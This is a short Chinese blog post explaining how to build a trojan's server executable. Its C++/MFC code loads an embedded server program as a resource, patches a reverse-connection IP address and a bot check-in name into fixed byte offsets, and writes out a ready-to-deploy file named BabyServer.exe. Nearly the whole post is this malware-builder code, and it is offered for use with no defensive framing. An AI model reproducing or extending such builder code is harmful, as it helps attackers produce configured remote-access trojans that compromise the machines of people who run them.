您的位置:首页 > 其它

木马服务端生成技术详解

2010-02-12 16:36 429 查看
实现思路很简单 用16进制工具 打开.EXE文件 找到要替换的内容地址 进行更新写入就可以了

注意点: 地址是从0开始的如下图所示的 地址应该是:0X5124



其实改写代码如下:


void ServerConfig::OnCreate()




...{


UpdateData();


if(m_ip.IsEmpty()||m_name.IsEmpty())




...{


MessageBox("请输入反向连接的IP地址和主机上线名称 ");


}




DWORD dwSize,dwWritten;


HRSRC hr=FindResource(0,MAKEINTRESOURCE(IDR_SERVER),"SERVER");//查找资源


if(hr==NULL) MessageBox("hr error");




dwSize=SizeofResource(NULL,hr);




HGLOBAL hg=LoadResource(NULL,hr);//加载资源




if(hg==NULL) MessageBox("hg error");




LPSTR lp=(LPSTR)LockResource(hg);//锁定资源




if(lp==NULL) MessageBox("lp error");






LPBYTE p=(LPBYTE)GlobalAlloc(GPTR, dwSize);


if (p==NULL) MessageBox("lp error");




CopyMemory((LPVOID)p, (LPCVOID)LockResource(hg), dwSize); // 复制资源数据


CopyMemory((LPVOID)(p+0x5020), (LPCVOID)m_name.LockBuffer(),MAX_PATH); //写入主机名称信息


CopyMemory((LPVOID)(p+0x5124), (LPCVOID)m_ip.LockBuffer(),15); //写入主机名称信息






/**//*本地文件路径*/




CString SaveFilePath;


BROWSEINFO bi;


ZeroMemory(&bi,sizeof(BROWSEINFO));


bi.hwndOwner=GetSafeHwnd();


bi.lpszTitle="将文件保存到";


LPITEMIDLIST idl=SHBrowseForFolder(&bi);


if(idl==NULL)


return;


SHGetPathFromIDList(idl,SaveFilePath.LockBuffer());




strcat(SaveFilePath.LockBuffer(),"/");


strcat(SaveFilePath.LockBuffer(),"BabyServer.exe");








HANDLE hFile;


hFile = CreateFile(SaveFilePath.LockBuffer(),GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);//创建文件


if(hFile == NULL) MessageBox("file error");


else MessageBox("服务端文件生成成功!");


WriteFile(hFile,(LPCVOID)p,dwSize,&dwWritten,NULL);//写入文件


CloseHandle(hFile);






}



IDC_SERVER为引入的SERVER.EXE资源文件 SERVER为 资源类类型
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: